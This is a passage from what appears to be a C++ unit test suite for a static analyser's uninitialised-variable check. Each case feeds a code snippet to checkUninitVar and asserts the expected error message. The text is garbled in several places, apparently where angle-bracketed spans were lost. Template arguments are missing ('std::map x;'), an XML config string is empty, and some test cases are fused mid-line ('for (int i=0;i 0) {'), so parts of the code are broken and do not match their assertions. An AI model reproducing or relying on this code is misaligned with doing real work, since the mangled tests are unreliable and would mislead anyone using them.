p.abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo p;\\n\"\n \" int x = p.abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types\n // extracttests.disable\n {\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" A ret;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" A ret;\\n\"\n \" return ret;\\n\"\n \"}\\n\",\n dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:12]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n }\n // extracttests.enable\n\n // #3916 - avoid false positive\n checkUninitVar(\"void f(float x) {\\n\"\n \" union lf { long l; float f; } u_lf;\\n\"\n \" float hx = (u_lf.f = (x), u_lf.l);\\n\"\n \"}\",\n dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" int x[10];\\n\"\n \" int *y = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int *y = &x;\\n\"\n \" *y = 0;\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" char x[10], y[10];\\n\"\n \" char *z = x;\\n\"\n \" memset(z, 0, sizeof(x));\\n\"\n \" memcpy(y, x, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Handling >> and <<\n {\n checkUninitVar(\"int a() {\\n\"\n \" int ret;\\n\"\n \" std::cin >> ret;\\n\"\n \" ret++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int b) {\\n\"\n \" int a;\\n\"\n \" std::cin >> b >> a;\\n\"\n \" return a;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int ret[2];\\n\"\n \" std::cin >> ret[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int i) {\\n\"\n \" int a;\\n\"\n \" i >> a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int a() {\\n\"\n \" int ret;\\n\"\n \" int a = value >> ret;\\n\"\n \"}\\n\",\n dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:22]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\" // #3707\n \" Node node;\\n\"\n \" int x;\\n\"\n \" node[\\\"abcd\\\"] >> x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int a(FArchive &arc) {\\n\" // #3060 (initialization through operator<<)\n \" int *p;\\n\"\n \" arc << p;\\n\" // <- TODO initialization?\n \" return *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a() {\\n\"\n \" int ret;\\n\"\n \" a = value << ret;\\n\"\n \"}\\n\",\n dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:18]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n\n // #4320 says this is a FP. << is overloaded.\n checkUninitVar(\"int f() {\\n\"\n \" int a;\\n\"\n \" a << 1;\\n\" // <- TODO initialization?\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n // #4673\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" std::cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(std::ostringstream& os) {\\n\"\n \" int a;\\n\"\n \" os << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" std::cout << 1 << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(std::ostringstream& os) {\\n\"\n \" int a;\\n\"\n \" os << 1 << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n {\n // #9422\n checkUninitVar(\"void f() {\\n\"\n \" char *p = new char[10];\\n\"\n \" std::cout << (void *)p << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char p[10];\\n\"\n \" std::cout << (void *)p << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char *p = new char[10];\\n\"\n \" std::cout << p << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #9696\n \" int *p = new int[10];\\n\"\n \" std::cout << p << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" std::cout << i;\\n\"\n \" char c[10];\\n\"\n \" std::cout << c;\\n\"\n \" wchar_t w[10];\\n\"\n \" std::cout << w;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (error) Uninitialized variable: c [legacyUninitvar]\\n\"\n \"[test.cpp:7:16]: (error) Uninitialized variable: w [legacyUninitvar]\\n\",\n errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char p[10];\\n\"\n \" std::cout << p << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char p[10];\\n\"\n \" std::cout << *p << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n }\n }\n\n // #8494 : Overloaded & operator\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" a & x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int a) {\\n\"\n \" int x;\\n\"\n \" a & x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" ar & a & b & c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a() {\\n\" // asm\n \" int x;\\n\"\n \" asm();\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" int x[10];\\n\"\n \" struct xyz xyz1 = { .x = x };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" struct S *s;\\n\"\n \" s->x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: s [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" char *buf = malloc(100);\\n\"\n \" struct ABC *abc = buf;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"class Fred {\\n\"\n \"public:\\n\"\n \" FILE *f;\\n\"\n \" ~Fred();\\n\"\n \"}\\n\"\n \"Fred::~Fred()\\n\"\n \"{\\n\"\n \" fclose(f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int c;\\n\"\n \" ab(sizeof(xyz), &c);\\n\"\n \" if (c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int c;\\n\"\n \" a = (f2(&c));\\n\"\n \" c++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int a)\\n\"\n \"{\\n\"\n \" if (a) {\\n\"\n \" char *p;\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n // +=\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int c;\\n\"\n \" c += 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" a[0] = 10 - a[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Uninitialized variable: a[1] [legacyUninitvar]\\n\", errout_str());\n\n // goto/setjmp/longjmp..\n checkUninitVar(\"void foo(int x)\\n\"\n \"{\\n\"\n \" long b;\\n\"\n \" if (g()) {\\n\"\n \" b =2;\\n\"\n \" goto found;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return;\\n\"\n \"\\n\"\n \"found:\\n\"\n \" int a = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" jmp_buf env;\\n\"\n \" int a;\\n\"\n \" int val = setjmp(env);\\n\"\n \" if(val)\\n\"\n \" return a;\\n\"\n \" a = 1;\\n\"\n \" longjmp(env, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // macro_for..\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" int retval;\\n\"\n \" if (condition) {\\n\"\n \" for12(1,2) { }\\n\"\n \" retval = 1;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" retval = 2;\\n\"\n \" return retval;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" goto exit;\\n\"\n \" i++;\\n\"\n \"exit:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int x,y=0;\\n\"\n \"again:\\n\"\n \" if (y) return x;\\n\"\n \" x = a;\\n\"\n \" y = 1;\\n\"\n \" goto again;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #3873 (false positive)\n checkUninitVar(\"MachineLoopRange *MachineLoopRanges::getLoopRange(const MachineLoop *Loop) {\\n\"\n \" MachineLoopRange *&Range = Cache[Loop];\\n\"\n \" if (!Range)\\n\"\n \" Range = new MachineLoopRange(Loop, Allocator, *Indexes);\\n\"\n \" return Range;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4040 - False positive\n checkUninitVar(\"int f(int x) {\\n\"\n \" int iter;\\n\"\n \" {\\n\"\n \" union\\n\"\n \" {\\n\"\n \" int asInt;\\n\"\n \" double asDouble;\\n\"\n \" };\\n\"\n \"\\n\"\n \" iter = x;\\n\"\n \" }\\n\"\n \" return 1 + iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // C++11 style initialization\n checkUninitVar(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" int j{ i };\\n\"\n \" return j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5646\n checkUninitVar(\"float foo() {\\n\"\n \" float source[2] = {3.1, 3.1};\\n\"\n \" float (*sink)[2] = &source;\\n\"\n \" return (*sink)[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #9296\n checkUninitVar(\"void f(void)\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int z = (x) & ~__round_mask(1, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(void)\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int z = (x) | ~__round_mask(1, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int __round_mask(int, int);\\n\"\n \"void f(void)\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int* z = &x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_warn_once() {\n // extracttests.start: int a; int b;\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" a = x;\\n\"\n \" b = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n }\n\n // Handling of unknown types. Assume they are POD in C.\n void uninitvar_decl() {\n const char code[] = \"void f() {\\n\"\n \" dfs a;\\n\"\n \" return a;\\n\"\n \"}\";\n\n // Assume dfs is a non POD type if file is C++\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Assume dfs is a POD type if file is C\n checkUninitVar(code, dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n const char code2[] = \"struct AB { int a,b; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" return ab;\\n\"\n \"}\";\n checkUninitVar(code2);\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\"\n \"[test.cpp:4:12]: (error) Uninitialized struct member: ab.b [uninitStructMember]\\n\", errout_str());\n checkUninitVar(code2, dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:12]: (error) Uninitialized variable: ab [legacyUninitvar]\\n\", errout_str());\n\n // Ticket #3890 - False positive for std::map\n checkUninitVar(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #3906 - False positive for std::vector pointer\n checkUninitVar(\"void f() {\\n\"\n \" std::vector *x = NULL;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // Ticket #6701 - Variable name is a POD type according to cfg\n constexpr char xmldata[] = \"\\n\"\n \"\"\n \" \"\n \"\";\n const Settings s = settingsBuilder(settings).libraryxml(xmldata).build();\n checkUninitVar(\"void f() {\\n\"\n \" Fred _tm;\\n\"\n \" _tm.dostuff();\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Ticket #7822 - Array type\n checkUninitVar(\"A *f() {\\n\"\n \" A a,b;\\n\"\n \" b[0] = 0;\"\n \" return a;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar3() { // #3844\n // avoid false positive\n checkUninitVar(\"namespace std _GLIBCXX_VISIBILITY(default)\\n\"\n \"{\\n\"\n \"_GLIBCXX_BEGIN_NAMESPACE_CONTAINER\\n\"\n \" typedef unsigned long _Bit_type;\\n\"\n \" struct _Bit_reference\\n\"\n \" {\\n\"\n \" _Bit_type * _M_p;\\n\"\n \" _Bit_type _M_mask;\\n\"\n \" _Bit_reference(_Bit_type * __x, _Bit_type __y)\\n\"\n \" : _M_p(__x), _M_mask(__y) { }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_bitop() {\n // extracttests.start: int a; int c;\n\n checkUninitVar(\"void foo() {\\n\"\n \" int b;\\n\"\n \" c = a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: b [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" int b;\\n\"\n \" c = b | a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: b [legacyUninitvar]\\n\", errout_str());\n }\n\n // if..\n void uninitvar_if() {\n // extracttests.start: struct Foo { void abcd(); };\n checkUninitVar(\"static void foo(int x)\\n\"\n \"{\\n\"\n \" Foo *p;\\n\"\n \" if (x)\\n\"\n \" p = new Foo;\\n\"\n \" p->abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo(int x)\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" if (x==1);\\n\"\n \" if (x==2);\\n\"\n \" x = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int i;\\n\"\n \" if (1)\\n\"\n \" i = 11;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int bar(int x) {\\n\"\n \" int n;\\n\"\n \" if ( x == 23)\\n\"\n \" n = 1;\\n\"\n \" else if ( x == 11 )\\n\"\n \" n = 2;\\n\"\n \" return n;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x)\\n\"\n \" i = 22;\\n\"\n \" else\\n\"\n \" i = 33;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo(int x)\\n\" // #5503\n \"{\\n\"\n \" int i;\\n\"\n \" if (x < 2)\\n\"\n \" i = 22;\\n\"\n \" else if (x >= 2)\\n\" // condition is always true\n \" i = 33;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x)\\n\"\n \" i = 22;\\n\"\n \" else\\n\"\n \" {\\n\"\n \" char *y = {0};\\n\"\n \" i = 33;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" struct abc abc1 = (struct abc) { .a=0, .b=0, .c=0 };\\n\"\n \" i = 22;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" i = 33;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void foo(int x)\\n\"\n \"{\\n\"\n \" Foo *p;\\n\"\n \" if (x)\\n\"\n \" p = new Foo;\\n\"\n \" if (x)\\n\"\n \" p->abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int n;\\n\"\n \" int condition;\\n\"\n \" if(a == 1) {\\n\"\n \" n=0;\\n\"\n \" condition=0;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" n=1;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if( n == 0) {\\n\"\n \" a=condition;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" C *c;\\n\"\n \" if (fun(&c));\\n\"\n \" c->Release();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" C c;\\n\"\n \" if (fun(&c.d));\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" if (a[0] = x){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (one())\\n\"\n \" i = 1;\\n\"\n \" else\\n\"\n \" return 3;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2207 - False positive\n checkUninitVar(\"void foo(int x) {\\n\"\n \" int a;\\n\"\n \" if (x)\\n\"\n \" a = 1;\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" b = (c - a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" int ret;\\n\"\n \" if (one())\\n\"\n \" ret = 1;\\n\"\n \" else\\n\"\n \" throw 3;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int a)\\n\"\n \"{\\n\"\n \" int ret;\\n\"\n \" if (a == 1)\\n\"\n \" ret = 1;\\n\"\n \" else\\n\"\n \" XYZ ret = 2;\\n\" // XYZ may be an unexpanded macro so bailout the checking of \"ret\".\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f(int a, int b)\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" if (a)\\n\"\n \" x = a;\\n\"\n \" else {\\n\"\n \" do { } while (f2());\\n\"\n \" x = b;\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(long verbose,bool bFlag)\\n\"\n \"{\\n\"\n \" double t;\\n\"\n \" if (bFlag)\\n\"\n \" {\\n\"\n \" if (verbose)\\n\"\n \" t = 1;\\n\"\n \" if (verbose)\\n\"\n \" std::cout << (12-t);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int test(int cond1, int cond2) {\\n\"\n \" int foo;\\n\"\n \" if (cond1 || cond2) {\\n\"\n \" if (cond2)\\n\"\n \" foo = 0;\\n\"\n \" }\\n\"\n \" if (cond2) {\\n\"\n \" int t = foo*foo;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(int *pix) {\\n\"\n \" int dest_x;\\n\"\n \" {\\n\"\n \" if (pix)\\n\"\n \" dest_x = 123;\\n\"\n \" }\\n\"\n \" if (pix)\\n\"\n \" a = dest_x;\\n\" // <- not uninitialized\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ? :\n checkUninitVar(\"static void foo(int v) {\\n\"\n \" int x;\\n\"\n \" x = v <= 0 ? -1 : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" const char *msgid1, *msgid2;\\n\"\n \" int ret = bar(&msgid1);\\n\"\n \" if (ret > 0) {\\n\"\n \" ret = bar(&msgid2);\\n\"\n \" }\\n\"\n \" ret = ret <= 0 ? -1 :\\n\"\n \" strcmp(msgid1, msgid2) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(int a, int b)\\n\"\n \"{\\n\"\n \" int x; x = (anext())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" } while (tok2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(void) {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \"\\n\"\n \" for (;;) {\\n\"\n \" if (!a || 12 < x) {\\n\" // <- x is not uninitialized\n \" a = 1;\\n\"\n \" x = 2;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(void) {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \"\\n\"\n \" for (;;) {\\n\"\n \" if (!a || 12 < x) {\\n\" // <- x is uninitialized\n \" a = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo(int n) {\\n\"\n \" int one[10];\\n\"\n \" for (int rank = 0; rank < n; ++rank) {\\n\"\n \" for (int i=0;i 0) {\\n\"\n \" if (GetItem(&pItem) && (*pItem != rPool))\\n\"\n \" { }\\n\"\n \" x--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // extracttests.start: struct PoolItem { bool operator!=(const PoolItem&) const; };\n checkUninitVar(\"void f(int x, const PoolItem& rPool) {\\n\"\n \" const PoolItem* pItem;\\n\"\n \" while (x > 0) {\\n\"\n \" if (*pItem != rPool)\\n\"\n \" { }\\n\"\n \" x--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Uninitialized variable: pItem [legacyUninitvar]\\n\", errout_str());\n\n // #2231 - conditional initialization in loop..\n checkUninitVar(\"int foo(char *a) {\\n\"\n \" int x;\\n\"\n \"\\n\"\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" if (a[i] == 'x') {\\n\"\n \" x = i;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" return x;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:11]: (error) Uninitialized variable: x\\n\", \"\", errout_str());\n\n // Ticket #2796\n checkUninitVar(\"void foo() {\\n\"\n \" while (true) {\\n\"\n \" int x;\\n\"\n \" if (y) x = 0;\\n\"\n \" else break;\\n\"\n \" return x;\\n\" // <- x is initialized\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Assignment in for. Ticket #3287\n checkUninitVar(\"int foo(char* in, bool b) {\\n\"\n \" char* c;\\n\"\n \" if (b) for (c = in; *c == 0; ++c) {}\\n\"\n \" else c = in + strlen(in) - 1;\\n\"\n \" *c = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10273 - assignment in conditional code\n // extracttests.start: extern const int PORT_LEARN_DISABLE;\n checkUninitVar(\"void foo() {\\n\"\n \" int learn;\\n\"\n \" for (int index = 0; index < 10; index++) {\\n\"\n \" if (!(learn & PORT_LEARN_DISABLE))\\n\"\n \" learn = 123;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (error) Uninitialized variable: learn [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: struct Entry { Entry *next; }; Entry *buckets[10];\n checkUninitVar(\"void foo() {\\n\"\n \" Entry *entry, *nextEntry;\\n\"\n \" for(int i = 0; i < 10; i++) {\\n\"\n \" for(entry = buckets[i]; entry != NULL; entry = nextEntry) {\\n\" // <- nextEntry is not uninitialized\n \" nextEntry = entry->next;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" Entry *entry, *nextEntry;\\n\"\n \" for(int i = 0; i < 10; i++) {\\n\"\n \" for(entry = buckets[i]; entry != NULL; entry = nextEntry) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:52]: (error) Uninitialized variable: nextEntry [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" list *f = NULL;\\n\"\n \" list *l;\\n\"\n \"\\n\"\n \" while (--x) {\\n\"\n \" if (!f)\\n\"\n \" f = c;\\n\"\n \" else\\n\"\n \" l->next = c;\\n\" // <- not uninitialized\n \" l = c;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6952 - do-while-loop\n checkUninitVar(\"void f(void)\\n\"\n \"{\\n\"\n \" int* p;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" if (true) {;}\\n\"\n \" else\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" *p = 7;\\n\" // <<\n \" p = new int(9);\\n\"\n \" } while (*p != 8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (error) Uninitialized variable: p 